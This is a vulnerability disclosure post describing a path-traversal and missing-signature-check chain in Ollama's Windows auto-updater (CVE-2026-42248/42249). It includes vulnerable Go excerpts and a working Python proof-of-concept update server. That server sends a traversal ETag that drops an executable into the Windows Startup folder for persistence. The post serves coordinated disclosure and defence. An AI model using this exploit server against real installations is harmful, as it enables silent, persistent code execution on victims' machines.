Striga
← Back to researchOllama Updates Itself Into Persistent RCE on Windows

A path traversal and a missing signature check in Ollama's Windows updater, surfaced by Striga, chain into persistent code execution that runs on every login.

Bartłomiej Dmitruk

Overview

Ollama's Windows auto-updater builds the local download path from an HTTP response header. With ../ sequences in that header, the file lands anywhere the user account can write. The signature check on Windows is one line: return nil. When Ollama starts from the Windows Startup folder, it runs any pending update silently. Two flaws and a silent on-login routine, chained together, hand an attacker who can influence update responses persistent code execution at every login.

Ollama is a local LLM runtime. The Windows desktop client bundles the local Ollama server, a chat UI, and a system-tray icon. It auto-starts on login and checks for updates in the background. Striga surfaced the chain during an audit of the Ollama repository.

CVE-2026-42248 covers the missing signature verification (CVSS 4.0 score 7.7 High). CVE-2026-42249 covers the path traversal that turns into Remote Code Execution (CVSS 4.0 score 7.7 High). Both are confirmed across every release from 0.12.10 to the current 0.22.0.

The macOS build is not affected. It uses code-signing verification on the downloaded bundle. The Windows build does not.

The original report went to the Ollama security contact in January 2026. After an initial acknowledgement, communication went silent. CERT Polska took over coordination and CVE assignment. The findings are published here after the standard 90-day disclosure window with no further response from the vendor.

The Update Pipeline

The Windows tray app spawns a background updater at startup. When IsUpdatePending() returns false, the updater periodically polls ollama.com/api/update for a new release. A response containing a download URL triggers DownloadNewRelease, which fetches the installer into a per-version staging directory. On the next app start, if a staged installer exists, DoUpgradeAtStartup runs it.

Three pieces of state govern that flow.

The check URL is configurable through an environment variable.

app/cmd/app/app.go

if u := os.Getenv("OLLAMA_UPDATE_URL"); u != "" {
    updater.UpdateCheckURLBase = u
}

The local file path of the staged installer is derived from the HTTP ETag and Content-Disposition headers returned by the update server.

app/updater/updater.go

etag := strings.Trim(resp.Header.Get("etag"), "\"")
if etag == "" {
    slog.Debug("no etag detected, falling back to filename based dedup")
    etag = "_"
}
filename := Installer
_, params, err := mime.ParseMediaType(resp.Header.Get("content-disposition"))
if err == nil {
    filename = params["filename"]
}
 
stageFilename := filepath.Join(UpdateStageDir, etag, filename)

The installer, once staged, is launched silently when Ollama starts from the Windows Startup folder.

app/updater/updater_windows.go

installArgs := []string{
    "/CLOSEAPPLICATIONS",
    "/LOG=" + filepath.Base(UpgradeLogFile),
    "/FORCECLOSEAPPLICATIONS",
    "/SP",
    "/NOCANCEL",
    "/SILENT",
}
 
if !interactive {
    installArgs = append(installArgs, "/VERYSILENT", "/SUPPRESSMSGBOXES")
}

Two of these pieces would be unremarkable on their own. The middle one, building a local path from a server-controlled header, is the path traversal. The next sections walk through what each does wrong.

Path Traversal Through the ETag Header

filepath.Join resolves relative path components. .. walks one directory up. The function does not enforce that the result remains rooted in its first argument.

The ETag is taken straight from the response header, trimmed of surrounding quotes, and concatenated into the staging path. The filename comes from Content-Disposition, also unsanitized. Neither value is checked for traversal sequences.

A response carrying ETag: "../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup" and a benign Content-Disposition filename causes filepath.Join to resolve the staging path well outside UpdateStageDir. The downloaded body is written to that path. The MkdirAll call earlier in the function creates whatever intermediate directories are required. On Windows, executability comes from the .exe extension; the Unix mode bits passed to os.OpenFile are ignored.

app/updater/updater.go

_, err = os.Stat(filepath.Dir(stageFilename))
if errors.Is(err, os.ErrNotExist) {
    if err := os.MkdirAll(filepath.Dir(stageFilename), 0o755); err != nil {
        return fmt.Errorf("create ollama dir %s: %v", filepath.Dir(stageFilename), err)
    }
}
 
payload, err := io.ReadAll(resp.Body)
if err != nil {
    return fmt.Errorf("failed to read body response: %w", err)
}
fp, err := os.OpenFile(stageFilename, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o755)

The write happens before VerifyDownload runs, and on Windows that call is a no-op anyway. There is no sanity check on the resolved path. The user account running Ollama becomes a write primitive against any location that account can reach. The Windows Startup folder, a typical persistence target, sits exactly where the path traversal needs it.

Striga flagged the flow from etag into filepath.Join as a path traversal candidate during the initial scan.

The Verification That Verifies Nothing

After the download lands, the updater would normally verify it. On macOS it does. The platform-specific implementation extracts the bundle into a temporary directory, walks the code-signing structure, and rejects anything that does not match the expected developer identity.

The Windows implementation is one line.

app/updater/updater_windows.go

func verifyDownload() error {
    return nil
}

DoUpgradeAtStartup does not re-verify the bundle before launching the installer. It calls DoUpgrade(false) directly.

func DoUpgradeAtStartup() error {
    return DoUpgrade(false)
}

The macOS equivalent re-verifies the bundle, removes it on failure, and only then proceeds. The Windows path skips that entirely.

app/updater/updater_darwin.go

func DoUpgradeAtStartup() error {
    bundle := getStagedUpdate()
    if bundle == "" {
        return fmt.Errorf("failed to lookup downloads")
    }
    if BundlePath == "" {
        return fmt.Errorf("unable to upgrade at startup, app in development mode")
    }
    if err := VerifyDownload(); err != nil {
        _ = os.Remove(bundle)
        slog.Warn("verification failure", "bundle", bundle, "error", err)
        return nil
    }
    slog.Info("performing update at startup", "bundle", bundle)
    return DoUpgrade(false)
}

Whatever bytes ended up in the staging directory get executed as the current user, with /VERYSILENT /SUPPRESSMSGBOXES flags so no UI appears.

Silent Updates From the Startup Folder

The piece that removes user interaction from the chain is in the tray app itself. When Ollama is launched from a shortcut inside the Windows Startup folder, the binary detects this through the STARTF_TITLEISLINKNAME startup-info flag and flips into hidden mode.

app/cmd/app/app_windows.go

if !startHidden {
    const STARTF_TITLEISLINKNAME = 0x00000800
    var info windows.StartupInfo
    if err := windows.GetStartupInfo(&info); err != nil {
        slog.Debug("unable to retrieve startup info", "error", err)
    } else if info.Flags&STARTF_TITLEISLINKNAME == STARTF_TITLEISLINKNAME {
        linkPath := windows.UTF16PtrToString(info.Title)
        if strings.Contains(linkPath, "Startup") {
            startHidden = true
        }
    }
}
if startHidden {
    startHiddenTasks()
}

startHiddenTasks checks IsUpdatePending. If a staged installer is present and AutoUpdateEnabled is true (the default), it runs the installer through DoUpgradeAtStartup.

app/cmd/app/app.go

func startHiddenTasks() {
    if updater.IsUpdatePending() {
        if fastStartup {
            slog.Info("deferring pending update for fast startup")
        } else {
            settings, err := appStore.Settings()
            if err != nil {
                slog.Warn("failed to load settings for upgrade check", "error", err)
            } else if !settings.AutoUpdateEnabled {
                slog.Info("auto-update disabled, skipping automatic upgrade at startup")
                UpdateAvailable("")
                return
            }
 
            if err := updater.DoUpgradeAtStartup(); err != nil {
                slog.Info("unable to perform upgrade at startup", "error", err)
                UpdateAvailable("")
            } else {
                slog.Debug("launching new version...")
                LaunchNewApp()
                os.Exit(0)
            }
        }
    }
}

A first-run installation creates the Startup-folder shortcut by default. Every subsequent login walks straight through this code path with no notification, no prompt, no progress dialog. The combination of silent installer flags and hidden-mode detection makes the upgrade invisible to the user.

Chaining: From HTTP Header to Persistent Code Execution

The setup needs an attacker-controlled update server reachable by the victim's Ollama client. The default endpoint runs over HTTPS, so a pure on-path attacker would need TLS interception to forge responses. A simpler demonstration uses the documented OLLAMA_UPDATE_URL override to point the client at a local server on plain HTTP. The chain also assumes AutoUpdateEnabled is on, the default; turning it off blocks the download itself before any header is read.

The server returns a JSON pointer for the update check, then on the download request returns a malicious ETag and the payload bytes.

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if "/api/update" in self.path:
            host = self.headers.get("Host", "localhost:8080")
            body = json.dumps({
                "url": f"http://{host}/download/OllamaSetup.exe",
                "version": "999.0.0",
            }).encode()
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.send_header("Content-Length", len(body))
            self.end_headers()
            self.wfile.write(body)
        elif "/download/" in self.path:
            with open("payload.exe", "rb") as f:
                payload = f.read()
            self.send_response(200)
            self.send_header(
                "ETag",
                '"../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup"',
            )
            self.send_header(
                "Content-Disposition",
                'attachment; filename="OllamaSetup.exe"',
            )
            self.send_header("Content-Length", len(payload))
            self.end_headers()
            self.wfile.write(payload)
 
    def do_HEAD(self):
        if "/download/" in self.path:
            self.send_response(200)
            self.send_header(
                "ETag",
                '"../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup"',
            )
            self.send_header(
                "Content-Disposition",
                'attachment; filename="OllamaSetup.exe"',
            )
            self.end_headers()

The HEAD handler is required: Ollama issues a HEAD before the GET to check the existing ETag, and BaseHTTPRequestHandler returns 501 for any method without an explicit handler.

Ollama's background updater fires its periodic check, hits the server, and follows the download URL. filepath.Join(UpdateStageDir, "../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup", "OllamaSetup.exe") resolves to the user's Startup folder, and the body is written there.

A few lines later, the updater reaches the verification step:

if err := VerifyDownload(); err != nil {
    _ = os.Remove(stageFilename)
    return fmt.Errorf("%s - %s", resp.Request.URL.String(), err)
}

stageFilename is the same variable used for the write a moment earlier, the traversed path. If verification rejected the file, os.Remove would delete it from the Startup folder and the attack would fail. On Windows, verifyDownload returns nil. The if-block is skipped. The file stays.

From this point on Ollama loses sight of the file. IsUpdatePending calls getStagedUpdate, which globs UpdateStageDir/*/*.exe. The traversed path is outside that glob, so Ollama's update bookkeeping never sees it. The same applies to cleanupOldDownloads, which walks only UpdateStageDir's direct children. The file in the Startup folder is invisible to Ollama and persists indefinitely.

The user logs out, then logs back in. Windows enumerates the Startup folder and launches every entry it finds. The dropped OllamaSetup.exe runs as the current user. Ollama is not involved in the launch. The same dropped binary fires on every subsequent login until the file is removed.

This is the chain. The path traversal would be self-cleaning against a working updater. The post-write verification step would reject the unsigned binary and remove it from disk. The path traversal is exploitable specifically because the verification is a no-op.

The missing verification has a separate consequence even without traversal. With a normal ETag, the installer drops into the staging directory in the usual way. VerifyDownload is still a no-op, so the file is not removed. On the next launch from the Startup folder, IsUpdatePending finds the staged file, DoUpgradeAtStartup calls DoUpgrade(false) without re-verifying, and the attacker's executable launches silently with /VERYSILENT /SUPPRESSMSGBOXES. This path produces RCE through Ollama's normal update flow but no lasting persistence: the next legitimate update overwrites the staged file.

The chain is the persistent path. The missing verification on its own is a secondary execution route through the same prerequisite.

Proof

The PoC server, victim setup script, and a recording of the full chain were submitted with the original report.

The recording walks through the setup script, the logout, the relogin, and the moment the dropped payload runs alongside Ollama's own startup. The payload in the demonstration is calc.exe, which opens on every subsequent login until the file is removed from the Startup folder.

The recording uses setx OLLAMA_UPDATE_URL to compress setup into a few keystrokes. That override is the demo path, not a requirement. The chain triggers on any attacker-controlled update response, which can reach the victim through TLS interception, DNS hijacking with a forged certificate, modification of the victim's hosts file, or a prior local foothold that writes the environment variable programmatically. The video picks the cleanest demonstration; the underlying flaws do not require interactive setup.

Impact

Any Ollama for Windows installation running version 0.12.10 through 0.22.0 is vulnerable. The path traversal writes attacker-chosen executables into the Windows Startup folder. The missing signature verification keeps them there: the post-write cleanup that would remove unsigned files on a working updater is a no-op on Windows. On the next login Windows runs whatever was left behind.

The chain produces persistent, silent code execution at the privilege level of the user running Ollama. Realistic payloads include reverse shells, info-stealers exfiltrating browser secrets and SSH keys, or droppers that pivot to additional persistence mechanisms. Anything that runs as the current user. Removing the dropped binary from the Startup folder ends the persistence, but the underlying flaws remain.

Affected Versions

Ollama for Windows from 0.12.10 through the current 0.22.0. Every release in that range carries the path traversal in app/updater/updater.go, the no-op verifyDownload in app/updater/updater_windows.go, and the silent on-login update routine in app/cmd/app/app_windows.go and app/cmd/app/app.go. None of the commits between those tags touch the vulnerable functions.

The macOS build is not affected.

Disclosure

The original report was sent to the Ollama security contact on January 27, 2026. The vendor acknowledged receipt, then communication stopped. With no further response from the vendor, the case was handed off to CERT Polska, who took over coordination and CVE assignment. Following the standard 90-day disclosure window with no additional vendor engagement, the findings were published.

Fix

No fix at the time of writing. The current release, 0.22.0, ships the same vulnerable code paths.

Until a patched build ships, the best mitigation is the Auto-download updates toggle in Ollama's Settings UI. Turning it off short-circuits the background download check (updater.go:324) before any update response is fetched, so the path traversal write never happens and nothing lands on disk. Users who want to be thorough should also remove any existing Ollama shortcut from %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup to disable the silent on-login execution route.

Disclosure Timeline

DateEvent
26 Jan 2026Vulnerabilities identified during a Striga audit of Ollama
27 Jan 2026Report submitted to the Ollama security contact
03 Mar 2026Submission shared with CERT Polska after no vendor response
27 Apr 2026CVE-2026-42248 and CVE-2026-42249 reserved by CERT Polska
29 Apr 2026Public disclosure

References